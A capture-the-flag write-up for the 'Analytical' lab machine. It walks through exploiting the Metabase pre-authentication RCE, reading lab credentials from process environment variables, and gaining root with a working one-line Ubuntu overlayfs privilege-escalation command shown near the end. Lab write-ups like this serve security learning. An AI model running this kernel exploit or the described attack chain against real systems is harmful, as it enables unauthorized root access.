Summary:
In our approach to solving this box, we first gained access to the machine by exploiting a pre-authentication Remote Code Execution (RCE) vulnerability found in Metabase. After that, we dug into the environment variables to uncover the credentials of a regular user. Finally, we escalated our privileges to root level by taking advantage of a kernel vulnerability.
Recon:
Key findings:
- SSH (Port 22): OpenSSH 8.9p1 on Ubuntu.
- HTTP (Port 80): Nginx 1.18.0 on Ubuntu, redirecting to http://analytical.htb/.
So we add analytical.htb to /etc/hosts.
When I navigated to http://analytical.htb, I encountered a basic login page. Intercepting the requests using Burp, I noticed a redirection to http://data.analytical.htb. Therefore, I added this subdomain to /etc/hosts.
Upon visiting http://data.analytical.htb, I was presented with a login page for Metabase, an open-source business intelligence tool. Unfortunately, the default credentials proved ineffective for logging in.
After doing some digging, I stumbled upon a new vulnerability in Metabase dubbed CVE-2023-38646. Essentially, there was this lingering ‘setup-token‘ post-installation that anyone could access without authentication. This slip-up in the code overhaul opened the door for mischief, particularly through SQL injection in the H2 database driver during setup. By fiddling with the database connection steps, attackers could exploit this flaw to run code remotely before even logging in.
The next step was finding a Proof of Concept exploit for this vulnerability to gain initial access. The search was not long, as there was a very nice writeup with PoC here.
So we got the setup-token by using burp.
And now following the PoC we executed the exploit to get a reverse shell from the machine-
And we received a connection to our listener.
This exploit allowed me to gain a reverse shell from the underlying system, but there was no user flag in there, so I started exploring what’s around…
USER FLAG
I checked /proc/self/environ for any environment variables:
And we found some credentials.
META_USER=metalytics
META_PASS=An4lytics_ds20223#I tried to SSH into the server with those and:
ssh metalytics@analytical.htb
I was in and could read the flag:
ROOT FLAG
After gaining initial access to the Analytical server as the metalytics user, I began searching for ways to escalate privileges and obtain access to the root user account.
sudo -l didn’t work
uname -a
Off the cuff, I recalled a recent discovery of a Ubuntu kernel-related privilege escalation vulnerability. So, I thought, why not give it a shot?
It is so simple, that fits in one line:
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;import pty;os.setuid(0);pty.spawn("/bin/bash")'
And just like that, we are root and we can read the root flag.
